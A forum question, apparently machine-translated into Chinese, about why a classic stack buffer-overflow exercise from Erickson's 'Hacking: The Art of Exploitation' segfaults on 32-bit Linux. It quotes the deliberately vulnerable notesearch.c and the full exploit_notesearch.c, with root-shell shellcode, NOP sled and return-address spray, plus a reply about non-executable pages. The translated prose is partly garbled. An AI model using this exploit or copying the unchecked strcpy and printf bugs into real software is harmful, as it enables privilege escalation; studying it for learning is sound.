我一直在閱讀Jon Erickson的書「Hacking:The Art of Exploitation,2nd Edition」。Linux中32位x86緩衝區溢出查詢
,我需要關於其具有緩衝區溢出漏洞和利用程序exploit_notesearch.c
爲notesearch.c的代碼的程序notesearch.c一些澄清低於:
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"
#define FILENAME "/var/notes"
int print_notes(int, int, char *); // Note printing function.
int find_user_note(int, int); // Seek in file for a note for user.
int search_note(char *, char *); // Search for keyword function.
void fatal(char *); // Fatal error handler
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // File descriptor
char searchstring[100];
if(argc > 1) // If there is an arg,
strcpy(searchstring, argv[1]); // that is the search string;
else // otherwise,
searchstring[0] = 0; // search string is empty.
userid = getuid();
fd = open(FILENAME, O_RDONLY); // Open the file for read-only access.
if(fd == -1)
fatal("in main() while opening file for reading");
while(printing)
printing = print_notes(fd, userid, searchstring);
printf("-------[ end of note data ]-------\n");
close(fd);
}
// A function to print the notes for a given uid that match
// an optional search string;
// returns 0 at end of file, 1 if there are still more notes.
int print_notes(int fd, int uid, char *searchstring) {
int note_length;
char byte=0, note_buffer[100];
note_length = find_user_note(fd, uid);
if(note_length == -1) // If end of file reached,
return 0; // return 0.
read(fd, note_buffer, note_length); // Read note data.
note_buffer[note_length] = 0; // Terminate the string.
if(search_note(note_buffer, searchstring)) // If searchstring found,
printf(note_buffer); // print the note.
return 1;
}
// A function to find the next note for a given userID;
// returns -1 if the end of the file is reached;
// otherwise, it returns the length of the found note.
int find_user_note(int fd, int user_uid) {
int note_uid=-1;
unsigned char byte;
int length;
while(note_uid != user_uid) {//Loop until a note for user_uid is found.
if(read(fd, ¬e_uid, 4) != 4) // Read the uid data.
return -1; // If 4 bytes aren't read, return end of file code.
if(read(fd, &byte, 1) != 1) // Read the newline separator.
return -1;
byte = length = 0;
while(byte != '\n') {
if(read(fd, &byte, 1) != 1) // Read a single byte.
return -1; // If byte isn't read, return end of file code.
length++;
}
}
lseek(fd, length * -1, SEEK_CUR);
printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
return length;
}
// A function to search a note for a given keyword;
// returns 1 if a match is found, 0 if there is no match.
int search_note(char *note, char *keyword) {
int i, keyword_length, match=0;
keyword_length = strlen(keyword);
if(keyword_length == 0) // If there is no search string,
return 1; // always "match".
for(i=0; i < strlen(note); i++) { // Iterate over bytes in note.
if(note[i] == keyword[match]) // If byte matches keyword,
match++; // get ready to check the next byte;
else { // otherwise,
if(note[i] == keyword[0]) // if that byte matches first keyword byte,
match = 1; // start the match count at 1.
else
match = 0; // Otherwise it is zero.
}
if(match == keyword_length) // If there is a full match,
return 1; // return matched.
}
return 0; // Return not matched.
}
exploit_notesearch.c的代碼如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // Set return address.
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
現在我已經下了當由exploit_notesearch.c可執行文件中的系統函數運行時,第一個參數傳遞給notesearch.c的可執行文件的第一個參數最終會覆蓋存儲在notesearch.c的main堆棧幀中的返回地址,其中包含數組元素的地址與NOP指令,但這裏是我的查詢,當堆棧的主要彈出和返回地址是填充回來的eip和eip指令將執行操作系統將看到eip不再指向一個地址是在邊界文本段(存儲在eip中的地址是包含NOP指令的元素的地址,並且不在文本段的邊界內),並退出給出分段錯誤。那麼這是否意味着無論內存分割和保護如何,這些類型的緩衝區溢出都會變得無用?
我不明白的是我自己在運行Linux(Linux Mint 17)並在Intel x86處理器上安裝了32位機器。但是當我編譯notesearch.c和exploit_notesearch.c並按照Jon書中提到的方式運行它時,我總會遇到分段錯誤。
另外,我想借此機會感謝Jon撰寫了一本優秀的書籍,該書籍清楚了我的概念,即將可執行文件加載到內存中並開始執行時會發生什麼。
感謝,
羅希特
並糾正你的措辭 - 程序不知道你正試圖執行文本段以外的內存 - 內核知道你試圖在不可執行的頁面上執行,導致頁面錯誤,然後在userland中使用SIGSEGV – adam